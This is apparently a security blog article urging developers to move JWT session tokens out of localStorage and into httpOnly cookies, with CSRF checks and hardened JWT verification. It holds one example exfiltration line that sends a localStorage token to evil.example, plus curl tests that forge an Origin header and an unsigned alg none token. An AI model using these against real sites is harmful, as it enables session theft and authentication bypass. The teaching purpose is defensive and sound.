LEAKCADE

JWT in localStorage vs cookies: where should the session token live?

Updated 7 min read

Keeping a JWT in localStorage lets any script on your page read it, so one cross-site scripting (XSS) bug hands over the session. Use an httpOnly, Secure, SameSite cookie instead and keep JWTs short-lived. Cookies bring cross-site request forgery (CSRF) risk, but SameSite plus an Origin check covers most of it.

QUICK CHECKLIST

  • Remove localStorage.setItem("token") from client code
  • Set the session cookie with httpOnly, Secure and SameSite
  • Check Origin on cookie-authenticated POST, PUT, PATCH, DELETE
  • Pin the JWT algorithm and require exp when verifying
  • Keep the signing secret out of NEXT_PUBLIC_ variables
  • Use short expiry and a way to revoke sessions

Why a JWT in localStorage is a risk

A JWT (JSON Web Token) is a signed string the server gives the browser to prove who the user is. Where you keep it decides who can read it. In localStorage, every script on your page can read it, including code you didn't write.

OWASP's HTML5 cheat sheet says: "Do not store session identifiers in local storage as the data is always accessible by JavaScript. Cookies can mitigate this risk using the httpOnly flag."

How XSS steals a JWT in localStorageAn attacker runs a script on your page through an XSS bug. The script reads the token from localStorage, sends it to the attacker's server, and the attacker then replays it as the user.INJECTAttacker scriptruns on your pageREADlocalStorage.getItem("token")SENDToken posted toattacker serverREPLAYAttacker acts asyour userINJECTAttacker script runs on your pageREADlocalStorage.getItem("token")SENDToken posted to attacker serverREPLAYAttacker acts as your user
The attacker never needs the password.

An attacker first finds one way to run JavaScript on your page, such as user content rendered as raw HTML or a compromised npm package. One line then copies the token to their server:

fetch("https://evil.example/?t=" + localStorage.getItem("token"))

OWASP says a session token is temporarily equivalent to the strongest authentication the app used. So the attacker can act as that user from their own machine until the token expires. If your JWTs never expire, that means forever.

AI tools often generate localStorage.setItem("token", ...) because login then works in five lines. Our guide on XSS in AI-generated React code shows the patterns that give attackers a way in, and security headers and CSP in Next.js makes injected scripts harder to run.

Put the token in a cookie that only the server can read. MDN says a cookie with HttpOnly can't be accessed by JavaScript, for example through document.cookie, which helps mitigate XSS. Add Secure so the browser sends it only over HTTPS, and SameSite to limit when it travels cross-site.

BEFOREToken in localStorage
// login form handler (client component)
const res = await fetch("/api/login", {
  method: "POST",
  body: JSON.stringify({ email, password }),
})
const { token } = await res.json()
localStorage.setItem("token", token) // any script on the page can read this
AFTERServer sets an httpOnly cookie
// app/api/login/route.ts
import { cookies } from "next/headers"
import { checkPassword } from "@/lib/auth" // your own password check
import { signSession } from "@/lib/session"

export async function POST(req: Request) {
  const { email, password } = await req.json()
  const userId = await checkPassword(email, password)
  if (!userId) return new Response("Invalid login", { status: 401 })

  const jar = await cookies()
  jar.set("session", await signSession(userId), {
    httpOnly: true,
    secure: true,
    sameSite: "lax",
    path: "/",
    maxAge: 60 * 15,
  })
  return Response.json({ ok: true })
}
The browser now sends the cookie by itself. Client code never touches the token.
localStoragehttpOnly cookie
Readable by injected scriptYesNo
Sent automatically by the browserNo, you add a headerYes, to your site
CSRF riskNot from the token itselfYes, needs SameSite and checks
Expiry controlYou code itMax-Age or Expires

Cookies trade XSS exposure for a CSRF risk you can fix.

Your auth provider may already decide this for you. Check its current docs for the exact flags it sets, including HttpOnly:

The CSRF catch with SameSite cookies

Browsers attach cookies to requests automatically, so a malicious page can make your user's browser send a request to your site with the cookie included. OWASP calls this cross-site request forgery (CSRF). A token in localStorage avoids it because the attacker's page can't read the token to build the header.

The fixes, roughly in order of effort:

// lib/csrf.ts
export function isSameOrigin(req: Request) {
  // APP_ORIGIN example: https://yourapp.com (no trailing slash)
  return req.headers.get("origin") === process.env.APP_ORIGIN
}

// at the top of every cookie-authenticated POST, PUT, PATCH, DELETE handler
if (!isSameOrigin(req)) {
  return new Response("Forbidden", { status: 403 })
}

Webhooks and cron jobs usually send no Origin header, so they would get a 403 here. Verify the sender's signature on those routes instead.

JWT pitfalls (alg none, no expiry) and sessions vs JWT

A cookie doesn't rescue a badly built JWT. These JWT pitfalls come first:

This helper covers the first three and keeps the secret on the server:

// lib/session.ts
import { SignJWT, jwtVerify } from "jose"

const secret = new TextEncoder().encode(process.env.JWT_SECRET!) // server only

export function signSession(userId: string) {
  return new SignJWT({})
    .setProtectedHeader({ alg: "HS256" })
    .setSubject(userId)
    .setIssuedAt()
    .setExpirationTime("15m")
    .sign(secret)
}

export async function readSession(token: string) {
  try {
    const { payload } = await jwtVerify(token, secret, {
      algorithms: ["HS256"],
      requiredClaims: ["exp", "sub"],
    })
    return payload.sub ?? null
  } catch {
    return null
  }
}

A 15 minute token needs a refresh step, or users get logged out all day. If you don't want to build that, a plain server session is simpler.

With a server session, the cookie holds a random ID and your database holds the user's data. OWASP says the ID should carry no meaning and recommends your framework's built-in session handling over a homemade one. Logging someone out or banning them then becomes a database change.

JWTs earn their place when several services must verify identity without sharing a database. Most vibe-coded apps have one backend, so use your provider's session handling and read Clerk and NextAuth mistakes before you wire it up.

How to fix a JWT in localStorage, step by step

This assumes a Next.js App Router app that signs its own JWTs. If an auth provider handles sessions for you, check its docs before you replace anything.

  1. Find every place the token is stored

    Search client code for localStorage.setItem, sessionStorage, document.cookie = and Authorization: Bearer. Cookies written from JavaScript can't be httpOnly, so those hits count too.

  2. Set the cookie on the server

    In your login route, call (await cookies()).set with httpOnly: true, secure: true, sameSite: "lax", path: "/" and a short maxAge. Don't return the token in the JSON body.

  3. Verify it on the server

    Read it with (await cookies()).get("session")?.value and pass it to readSession. Treat a null result as logged out.

  4. Protect routes that change data

    Add the isSameOrigin check to every cookie-authenticated POST, PUT, PATCH and DELETE handler. Skip webhook routes. Make sure no GET handler writes anything.

  5. Clean up the old setup

    Remove the localStorage code and run localStorage.removeItem("token") once so old tokens leave users' browsers. Log out by setting the cookie again with maxAge: 0. If the signing secret was ever exposed, rotate it. That signs everyone out, which is the point.

Test it yourself

Run these checks on your own app only. The curl commands send forged input, so don't point them at anyone else's site.

  1. Log in, open DevTools, then Application, then Local Storage. A value starting with eyJ is a JWT. Bad result: your token sits there. Good result: nothing session-related.
  2. Open Application, then Cookies. The session cookie should show HttpOnly and Secure ticked and SameSite set to Lax or Strict.
  3. In the Console, run document.cookie. Good result: the session cookie isn't listed.
  4. Look at your signing code. Bad result: no exp or setExpirationTime, or an expiry of months.

Now check CSRF. Copy the cookie value from the Application panel and send a state-changing request with a foreign Origin:

curl -i -X POST https://yourapp.com/api/orders \
  -H "Origin: https://evil.example" \
  -H "Cookie: session=YOUR_SESSION_VALUE"

Bad result: 200. Good result: 403.

Last, try an unsigned token with alg set to none, the payload {"sub":"123"} and an empty signature:

curl -i https://yourapp.com/api/me \
  -H "Cookie: session=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjMifQ."

Bad result: 200 with user data. Good result: 401.

Fix prompt you can paste

Give this to Cursor or Claude Code from the repo root.

FIX PROMPT
Audit how this app stores and checks its session token.

1. Search client code for localStorage.setItem, sessionStorage,
"document.cookie =" and "Authorization: Bearer". List every hit
with file and line.
2. Move the session token into a cookie set by the server with
httpOnly: true, secure: true, sameSite: "lax", path "/" and a maxAge.
The login route must not return the token in JSON. Remove the old
localStorage code and add a one-time localStorage.removeItem.
3. Verify tokens on the server with the jose library. Pin algorithms to
["HS256"], require exp and sub, and use an expiry of 15 minutes or less
unless there is a refresh flow. List every jwt.verify, jwtVerify or
jwt.decode call without an explicit algorithms list or exp check.
4. Report any JWT secret that can reach the browser (NEXT_PUBLIC_, VITE_,
client components) with file and line.
5. Add an Origin check against process.env.APP_ORIGIN to every
cookie-authenticated POST, PUT, PATCH and DELETE handler. Skip webhook
routes. List every GET handler that writes data, with file and line.
6. If the app uses Supabase or Clerk, don't replace their session handling.
Tell me which settings to check in their docs instead.

For every change, show the file and line and explain it in plain words.

To check the result, run your repo through Leakcade.

Further reading

  1. OWASP HTML5 Security Cheat Sheet (Web Storage and session identifiers)
  2. MDN: Using HTTP cookies (HttpOnly, Secure, SameSite)
  3. OWASP CSRF Prevention Cheat Sheet
  4. OWASP Session Management Cheat Sheet

FAQ

Is it safe to store a JWT in localStorage?

No, not for a session token. Any JavaScript running on your page can read localStorage, so one XSS bug lets an attacker copy the token. OWASP's HTML5 cheat sheet says not to store session identifiers there and points to httpOnly cookies instead.

Does an httpOnly cookie stop XSS?

No. It stops injected scripts from reading the cookie, so the attacker can't carry the token away. A script can still send requests from the victim's browser while the page is open, so you still have to fix the XSS.

Do I need CSRF protection if I use SameSite cookies?

Yes. MDN describes SameSite as some protection against CSRF, and OWASP lists it as one defence among several. Pair SameSite=Lax or Strict with an Origin check on state-changing requests, and never change data on GET.

What is the JWT alg none attack?

A JWT header names its signing algorithm. If your verifier trusts that header, an attacker can set alg to none, drop the signature and edit the payload. Pass an explicit algorithms list to your verify function so the token can't choose.

How do I log out a user when I use JWTs?

Clear the cookie by setting it again with the same name and path and Max-Age=0, as MDN describes. That doesn't invalidate a copy someone already stole. For real revocation, keep tokens short-lived and check a server-side session or blocklist.

Want a second pair of eyes?

We review your whole repo and write a fix prompt for every finding. $19, report within an hour.

Check my repo

Leakcade is an automated check. It can miss vulnerabilities and is not a substitute for a professional security audit or pentest. Provided as is. You stay responsible for your code. Where the law allows, our liability is limited to what you paid ($19). Terms

Patch Notes by Leakcade

A short weekly email: what changed in AI coding tools, one real security mistake, one prompt you can reuse.